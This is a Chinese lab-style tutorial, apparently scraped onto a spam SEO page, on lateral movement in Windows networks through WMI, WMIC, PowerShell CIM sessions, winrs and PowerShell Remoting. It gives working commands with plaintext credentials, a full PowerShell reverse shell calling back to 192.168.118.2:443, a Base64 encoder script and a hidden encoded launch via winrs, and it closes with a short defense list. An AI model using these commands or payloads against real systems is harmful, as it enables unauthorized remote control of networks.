当前位置: 首页 > wzjs >正文

站长之家官网查询襄阳seo

站长之家官网查询,襄阳seo,如何自己建设简单的手机网站首页,施工企业质量管理体系文件中质量方针需经过()批准后生效。引言 在现代网络安全领域,横向移动(Lateral Movement)是攻击者从初始入侵点扩展至网络内部其他系统的重要手段。通过利用Windows操作系统内置的管理工具和技术,如Windows Management Instrumentation(WMI)…

引言

在现代网络安全领域,横向移动(Lateral Movement)是攻击者从初始入侵点扩展至网络内部其他系统的重要手段。通过利用Windows操作系统内置的管理工具和技术,如Windows Management Instrumentation(WMI)和Windows Remote Management(WinRM),攻击者能够在目标网络中悄无声息地移动并提升权限。本文将深入探讨WMI和WinRM的工作原理、实现方式及其在横向移动中的具体应用,结合代码示例和实际场景,全面剖析这两种技术的攻击潜力与防御策略。


第一章:WMI技术基础

1.1 WMI概述

Windows Management Instrumentation(WMI)是微软开发的一种面向对象的管理框架,旨在为管理员和开发者提供自动化任务执行的能力。它通过提供对系统资源、硬件和软件的统一访问接口,成为Windows系统中不可或缺的一部分。WMI的核心功能包括查询系统信息、管理服务以及创建和管理进程。

WMI通过Win32_Process类的Create方法支持远程进程创建,这一特性使其成为横向移动的理想工具。通信层面,WMI依赖远程过程调用(RPC),默认使用135端口进行初始连接,随后在19152至65535的高端口范围内传输会话数据。

1.2 WMI的通信机制

WMI的远程访问基于分布式组件对象模型(DCOM),通过RPC协议实现跨主机通信。攻击者利用这一机制,可以在无需直接登录目标系统的情况下执行命令或启动进程。然而,成功的WMI操作需要目标主机的管理员权限,通常要求攻击者具备本地Administrators组成员的凭据或域用户权限。

1.3 WMI的横向移动潜力

WMI在横向移动中的应用主要体现在其隐蔽性和灵活性。传统的攻击工具可能触发安全软件的警报,而WMI作为系统内置组件,通常被视为合法操作,难以被检测。此外,WMI支持脚本化执行(如PowerShell),进一步提升了攻击的自动化程度。


第二章:通过WMIC实现横向移动

2.1 WMIC简介

WMIC(WMI Command-line)是WMI的命令行接口,尽管在Windows最新版本中已被弃用,但其历史上的广泛使用使其成为研究WMI攻击的经典案例。WMIC通过简单的命令行参数即可实现远程进程创建。

2.2 WMIC攻击示例

假设攻击者当前位于客户端机器CLIENT74,目标是服务器Files04(IP地址为192.168.50.73),并拥有域用户jen的凭据(密码为Nexus123!)。以下是使用WMIC启动远程计算器(calc)的步骤:

C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

执行结果显示:

Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{ProcessId = 752;ReturnValue = 0;
};

返回值为0表示进程创建成功,目标机器的任务管理器中将出现由jen用户运行的calc.exe进程。

2.3 会话隔离与进程特性

值得注意的是,自Windows Vista起引入的会话隔离机制使得系统进程和服务默认运行在会话0中。由于WMI提供程序主机(WMI Provider Host)作为系统服务运行,通过WMI创建的新进程同样位于会话0。这一特性限制了某些交互式进程的可见性,但在非交互式攻击场景中影响较小。

2.4 WMIC的局限性与弃用

尽管WMIC简单易用,但其命令行特性使其易于被日志记录和检测。此外,微软已逐步淘汰WMIC,转而推荐使用PowerShell,这促使攻击者转向更现代化的WMI实现方式。


第三章:通过PowerShell实现WMI攻击

3.1 PowerShell的优势

相比WMIC,PowerShell提供了更强大的脚本支持和更高的灵活性。通过PowerShell,攻击者可以构造复杂的WMI调用,实现从简单进程创建到完整反向Shell的多种攻击场景。

3.2 创建PSCredential对象

在PowerShell中执行WMI攻击的第一步是构造凭据对象。以下是创建jen用户凭据的代码:

$username = 'jen'
$password = 'Nexus123!'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString

此代码将密码转换为安全字符串,并封装为PSCredential对象,用于后续认证。

3.3 建立CIM会话

PowerShell通过Common Information Model(CIM)管理WMI操作。以下是创建CIM会话的步骤:

$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $options
$command = 'calc'

这里指定DCOM协议并连接目标IP(192.168.50.73),有效负载为启动计算器。

3.4 执行WMI调用

最后,通过Invoke-CimMethod命令执行远程进程创建:

Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$command}

执行结果显示新进程ID(例如3712)和返回值为0,表明攻击成功。

3.5 从简单进程到反向Shell

为了提升攻击效果,可以将有效负载替换为PowerShell编写的反向Shell。以下是一个基础反向Shell代码:

$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

为避免特殊字符问题,使用Python将此代码编码为Base64:

import base64
payload = '$client = New-Object ...'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)

运行后得到Base64编码的命令,替换$command变量并执行,最终在攻击者Kali机器的Netcat监听器(端口443)上获得Shell。


第四章:WinRM技术基础与应用

4.1 WinRM概述

Windows Remote Management(WinRM)是微软对WS-Management协议的实现,基于HTTP/HTTPS传输XML消息,默认使用5985(HTTP)和5986(HTTPS)端口。WinRM支持远程主机管理,是PowerShell远程处理和多种内置工具(如winrs)的核心组件。

4.2 通过WinRS实现横向移动

WinRS(Windows Remote Shell)是WinRM的命令行工具,要求目标主机上的用户属于Administrators或Remote Management Users组。以下是使用jen凭据远程执行命令的示例:

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen

输出确认命令在目标主机Files04上成功执行。

4.3 WinRS与反向Shell

将命令替换为Base64编码的反向Shell后,攻击者可获得完整的远程控制:

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD..."

Netcat监听器收到来自Files04的Shell,进一步验证了攻击成功。

4.4 PowerShell Remoting

PowerShell通过New-PSSession支持WinRM远程会话:

$credential = New-Object System.Management.Automation.PSCredential 'jen', (ConvertTo-SecureString 'Nexus123!' -AsPlaintext -Force)
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1

进入会话后,可直接运行命令验证权限和主机名。


第五章:WMI与WinRM的对比与防御

5.1 技术对比

  • 通信协议:WMI使用DCOM/RPC,WinRM基于HTTP/HTTPS。
  • 端口:WMI(135+高端口),WinRM(5985/5986)。
  • 隐蔽性:WMI更低调,WinRM易被网络流量检测。
  • 灵活性:WinRM支持交互式会话,WMI更适合单次执行。

5.2 防御策略

  • 限制权限:移除不必要的管理员权限,启用UAC。
  • 网络隔离:限制135、5985、5986端口的访问。
  • 日志监控:记录WMI和WinRM活动,检测异常进程创建。
  • 禁用服务:在非必要主机上禁用WMI和WinRM。

结论

WMI和WinRM作为Windows管理工具,在横向移动中展现出强大的攻击潜力。通过WMIC、PowerShell和WinRS等工具,攻击者可以轻松实现远程进程创建和权限提升。理解这些技术的原理和实现方式,不仅有助于攻击模拟,也为防御设计提供了关键洞察。在日益复杂的网络威胁环境中,掌握WMI和WinRM的双刃剑特性至关重要。

http://www.dtcms.com/wzjs/192678.html

相关文章:

  • 专业做域名的网站考研培训
  • 南昌网站建设博客软文推广怎么写
  • 广州外贸网站建设公司seo顾问服
  • 昆明有多少做网站的公司婚恋网站排名前十名
  • 哈尔滨住建委官方网站管理人员需要培训哪些课程
  • 宝鸡做网站公司电话互联网销售怎么做
  • 北京城乡建设委员会网站共有产权房百度seo排名优化如何
  • 网站开发常用的前端框架带佣金的旅游推广平台有哪些
  • axsure建设网站百度推广平台收费标准
  • 公司网站页面设计网页制作app手机版
  • 做自己的外贸网站怎样赚钱seo上首页排名
  • php网站开发教程培训淘宝代运营靠谱吗
  • 网站的轮播怎么做的seo排名如何
  • 网站群管理平台建设推广普通话黑板报
  • 国外教程 网站网页设计与制作软件
  • 怎么看一个网站哪公司做的ios aso优化工具
  • 上杭网站定制超级seo助手
  • 上海最新疫情数据seo优化总结
  • 重庆公司建站网站搜索引擎优化情况怎么写
  • 中国建设教育网官网是什么网站qq群推广软件
  • 域名怎么建设网站兰州网络推广公司哪家好
  • 汕头网站建设推广厂家营销型网站有哪些平台
  • 关注公众号阅读全文wordpressseo优化教程培训
  • 如何开发游戏重庆seo排名收费
  • 网页设计制作的流程seo代理
  • 仿制网站侵权吗武汉网站seo服务
  • 开公司做网站seo入门教程
  • 做产品类网站温州网站优化推广方案
  • 广州哪家公司做网站中国楼市最新消息
  • 有没有网站做胡兼职株洲企业seo优化